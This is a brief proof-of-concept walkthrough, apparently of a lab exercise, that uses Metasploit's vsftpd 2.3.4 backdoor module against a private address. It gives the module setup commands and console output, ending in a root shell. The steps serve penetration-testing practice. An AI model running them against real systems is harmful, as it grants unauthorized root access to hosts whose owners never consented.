



VSFTPD RCE PoC

Step 1: Open Metasploit

msfconsole

Step 2: Search and Set Options

Search vsftpd

use 1

set RHOSTS 192.168.159.131

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > options
Module options (exploit/unix/ftp/vsftpd_234_backdoor): (https://docs.metasploit.com/docs/using-metasploit.html)
  Name      Current Setting  Required  Description
  CHOST            no       The local client address
  CPORT            no       The local client port
  Proxies          no       A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS          192.168.159.131  yes      The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT           21       yes      The target port (TCP)

Exploit target:
  Id  Name
  -  -
  0  Automatic

View the full module info with the info or info -q command.
```



Step 3: Run the exploit

Run

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run
[-] 192.168.159.131:21 - Exploit failed [unreachable]: Rex::ConnectionRefused The connection was refused by the remote host (192.168.159.131:21).
[*] Exploit completed, but no session was created.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run
[-] 192.168.159.131:21 - Exploit failed [unreachable]: Rex::ConnectionRefused The connection was refused by the remote host (192.168.159.131:21).
[*] Exploit completed, but no session was created.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] 192.168.159.131:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.159.131:21 - USER: 331 Please specify the password.
[+] 192.168.159.131:21 - Backdoor service has been spawned, handling ...
[+] 192.168.159.131:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.159.128:35783 → 192.168.159.131:6200) at 2026-01-14 10:40:28 -0500
```

Step 4: Successfully got the root shell